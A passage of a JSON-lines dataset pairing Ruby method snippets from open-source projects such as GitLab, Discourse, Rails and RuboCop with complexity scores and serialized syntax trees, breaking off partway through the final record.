{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-utils/lib/gitlab/version_info.rb","start_line":105,"raw_source":"def same_minor_version?(other)\n      @major == other.major && @minor == other.minor\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"same_minor_version?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@major\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"major\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@minor\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"minor\"]}]}]}]}","id":"92592f13-93e4-4e72-8e18-eb6d3efbadcd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/rpm/parse_package_service.rb","start_line":50,"raw_source":"def extract_static_attributes\n        STATIC_ATTRIBUTES.index_with do |attribute|\n          package_tags[attribute]\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_static_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STATIC_ATTRIBUTES\"]},\"index_with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_tags\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}","id":"390195a8-d9a8-4f3a-8c04-44a8b3bd7fee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/application_setting.rb","start_line":1098,"raw_source":"def normalize_default_branch_name\n    self.default_branch_name = default_branch_name.presence\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_default_branch_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_branch_name=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_branch_name\"]},\"presence\"]}]}]}","id":"f2c24dc9-09a7-4585-b387-ec7fca833125"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/browser.rb","start_line":318,"raw_source":"def initialize(instance, page_class)\n          @session_address = Runtime::Address.new(instance, page_class)\n          @page_class = page_class\n          Session.enable_interception if Runtime::Env.can_intercept?\n        end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]},{\"type\":\"arg\",\"children\":[\"page_class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@session_address\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Address\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"instance\"]},{\"type\":\"lvar\",\"children\":[\"page_class\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@page_class\",{\"type\":\"lvar\",\"children\":[\"page_class\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Env\"]},\"can_intercept?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Session\"]},\"enable_interception\"]},null]}]}]}","id":"d19e7441-42da-46c4-8ee7-149bd29d7235"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/google_maps_onebox.rb","start_line":69,"raw_source":"def data\n        { link: url, title: url }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]}]}]}","id":"0d165eb5-8b61-430b-a1d7-48aa1c8de48a"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/credit_card.rb","start_line":151,"raw_source":"def display_brand\n      brand.present? ? brand.upcase : Spree.t(:no_cc_type)\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"display_brand\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"brand\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"brand\"]},\"upcase\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"no_cc_type\"]}]}]}]}","id":"b01b8d86-2aee-4c5d-a337-775127ddd420"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/operations/snapshot.rb","start_line":125,"raw_source":"def raw_revert_to_snapshot(_snapshot_id)\n    raise NotImplementedError, _(\"must be implemented in a subclass\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_revert_to_snapshot\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_snapshot_id\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"must be implemented in a subclass\"]}]}]}]}","id":"d3c496d8-f942-424d-9612-0a85b4094eec"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/lib/task_helpers/imports/service_dialogs_spec.rb","start_line":55,"raw_source":"def assert_test_service_dialog_two_present\n    d = Dialog.find_by(:label => dialog_two_label)\n    expect(d.description).to be nil\n    expect(d.dialog_tabs.count).to eq(1)\n  end","complexity_score":14.75,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_test_service_dialog_two_present\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dialog\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"dialog_two_label\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"description\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"dialog_tabs\"]},\"count\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"363c1108-6ea0-4834-b10c-f88a8494a2c5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/empty_heredoc.rb","start_line":44,"raw_source":"def on_heredoc(node)\n          heredoc_body = node.loc.heredoc_body\n\n          return unless heredoc_body.source.empty?\n\n          add_offense(node) do |corrector|\n            heredoc_end = node.loc.heredoc_end\n\n            corrector.replace(node, preferred_string_literal)\n            corrector.remove(range_by_whole_lines(heredoc_body, include_final_newline: true))\n            corrector.remove(range_by_whole_lines(heredoc_end, include_final_newline: true))\n          end\n        end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_heredoc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"heredoc_body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"heredoc_body\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"heredoc_body\"]},\"source\"]},\"empty?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"heredoc_end\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"heredoc_end\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[null,\"preferred_string_literal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"range_by_whole_lines\",{\"type\":\"lvar\",\"children\":[\"heredoc_body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_final_newline\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"range_by_whole_lines\",{\"type\":\"lvar\",\"children\":[\"heredoc_end\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_final_newline\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]}","id":"31745885-1cc7-40f4-b7ee-d048d394fffe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/events/render_service.rb","start_line":5,"raw_source":"def execute(events, atom_request: false)\n      notes = events.map(&:note).compact\n\n      render_notes(notes, atom_request)\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"events\"]},{\"type\":\"kwoptarg\",\"children\":[\"atom_request\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]}]}]},\"compact\"]}]},{\"type\":\"send\",\"children\":[null,\"render_notes\",{\"type\":\"lvar\",\"children\":[\"notes\"]},{\"type\":\"lvar\",\"children\":[\"atom_request\"]}]}]}]}","id":"3fdcca6b-5494-4296-9ed9-7e5fc693e87f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_setting.rb","start_line":74,"raw_source":"def target_platforms=(val)\n    super(val&.map(&:to_s)&.sort)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"target_platforms=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"sort\"]}]}]}","id":"8263f295-5406-4d41-99b2-d6f2e503c77b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/deprecation.rb","start_line":16,"raw_source":"def mode=(value) # private setter\n      unless MODES.include?(value)\n        raise ArgumentError, \"invalid deprecated associations mode #{value.inspect} (valid modes are #{MODES.map(&:inspect).to_sentence})\"\n      end\n\n      @mode = value\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"mode=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MODES\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"invalid deprecated associations mode \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" (valid modes are \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MODES\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"inspect\"]}]}]},\"to_sentence\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@mode\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"8e99be86-b4e2-46bb-ab0e-9ff87180950e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/insert_all_test.rb","start_line":135,"raw_source":"def test_insert_all_returns_requested_sql_fields\n    skip unless supports_insert_returning?\n\n    result = Book.insert_all! [{ name: \"Rework\", author_id: 1 }], returning: Arel.sql(\"UPPER(name) as name\")\n    assert_equal %w[ REWORK ], result.pluck(\"name\")\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_insert_all_returns_requested_sql_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_insert_returning?\"]},null,{\"type\":\"send\",\"children\":[null,\"skip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"insert_all!\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Rework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"returning\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"UPPER(name) as name\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"REWORK\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"pluck\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]}","id":"450a5d8a-f6c9-48c2-8895-f39eda7d2c79"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/normalized_has_many_test.rb","start_line":36,"raw_source":"def test_defining_denormalized_has_many_cache_caches_list_of_associated_ids_on_parent_record_during_cache_miss\n    fetched_record = Item.fetch(@record.id)\n    assert_equal([2, 1], fetched_record.cached_associated_record_ids)\n    assert_equal(false, fetched_record.associated_records.loaded?)\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_defining_denormalized_has_many_cache_caches_list_of_associated_ids_on_parent_record_during_cache_miss\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fetched_record\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_record\"]},\"cached_associated_record_ids\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_record\"]},\"associated_records\"]},\"loaded?\"]}]}]}]}","id":"fbb71b39-e1e9-4fdf-b7f1-cdd6c380ccea"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/backup_restore/system_interface_spec.rb","start_line":110,"raw_source":"def create_workers(site_id: nil, all_sites: false)\n        payload =\n          Sidekiq::Testing.fake! do\n            data = { post_id: 1 }\n\n            if all_sites\n              data[:all_sites] = true\n            else\n              data[:current_site_id] = site_id || RailsMultisite::ConnectionManagement.current_db\n            end\n\n            Jobs.enqueue(:process_post, data)\n            Jobs::ProcessPost.jobs.last\n          end\n\n        Sidekiq.redis do |conn|\n          hostname = \"localhost\"\n          pid = 7890\n          key = \"#{hostname}:#{pid}\"\n          process = { pid: pid, hostname: hostname }\n\n          conn.sadd(\"processes\", key)\n          conn.hset(key, \"info\", Sidekiq.dump_json(process))\n\n          data =\n            Sidekiq.dump_json(\n              queue: \"default\",\n              run_at: Time.now.to_i,\n              payload: Sidekiq.dump_json(payload),\n            )\n          conn.hset(\"#{key}:work\", \"444\", data)\n        end\n      end","complexity_score":33.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create_workers\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"site_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"all_sites\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Testing\"]},\"fake!\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_sites\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"all_sites\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"current_site_id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"site_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"current_db\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"sym\",\"children\":[\"process_post\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"ProcessPost\"]},\"jobs\"]},\"last\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"str\",\"children\":[\"localhost\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"int\",\"children\":[7890]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"process\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pid\"]},{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hostname\"]},{\"type\":\"lvar\",\"children\":[\"hostname\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"sadd\",{\"type\":\"str\",\"children\":[\"processes\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"hset\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"dump_json\",{\"type\":\"lvar\",\"children\":[\"process\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"dump_json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue\"]},{\"type\":\"str\",\"children\":[\"default\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"run_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"dump_json\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"hset\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\":work\"]}]},{\"type\":\"str\",\"children\":[\"444\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]}","id":"259e303a-ebf3-4b31-8d26-442e19e05ec7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/models/llm_model.rb","start_line":124,"raw_source":"def toggle_companion_user\n    return if name == \"fake\" && Rails.env.production?\n\n    enable_check = SiteSetting.ai_bot_enabled && enabled_chat_bot\n\n    if enable_check\n      if !user\n        next_id = DB.query_single(<<~SQL).first\n          SELECT min(id) - 1 FROM users\n        SQL\n\n        new_user =\n          User.new(\n            id: [FIRST_BOT_USER_ID, next_id].min,\n            email: \"no_email_#{SecureRandom.hex}\",\n            name: name.titleize,\n            username: UserNameSuggester.suggest(name),\n            active: true,\n            approved: true,\n            admin: true,\n            moderator: true,\n            trust_level: TrustLevel[4],\n          )\n        new_user.save!(validate: false)\n        self.update!(user: new_user)\n      else\n        user.active = true\n        user.save!(validate: false)\n      end\n    elsif user\n      # will include deleted\n      has_posts = DB.query_single(\"SELECT 1 FROM posts WHERE user_id = #{user.id} LIMIT 1\").present?\n\n      if has_posts\n        user.update!(active: false) if user.active\n      else\n        user.destroy!\n        self.update!(user: nil)\n      end\n    end\n  end","complexity_score":65.03,"ast_json":"{\"type\":\"def\",\"children\":[\"toggle_companion_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"==\",{\"type\":\"str\",\"children\":[\"fake\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"production?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"enable_check\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"ai_bot_enabled\"]},{\"type\":\"send\",\"children\":[null,\"enabled_chat_bot\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enable_check\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"next_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT min(id) - 1 FROM users\\n\"]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FIRST_BOT_USER_ID\"]},{\"type\":\"lvar\",\"children\":[\"next_id\"]}]},\"min\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"no_email_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"titleize\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserNameSuggester\"]},\"suggest\",{\"type\":\"send\",\"children\":[null,\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"approved\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"moderator\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trust_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrustLevel\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_user\"]},\"save!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"new_user\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"active=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"save!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"has_posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT 1 FROM posts WHERE user_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" LIMIT 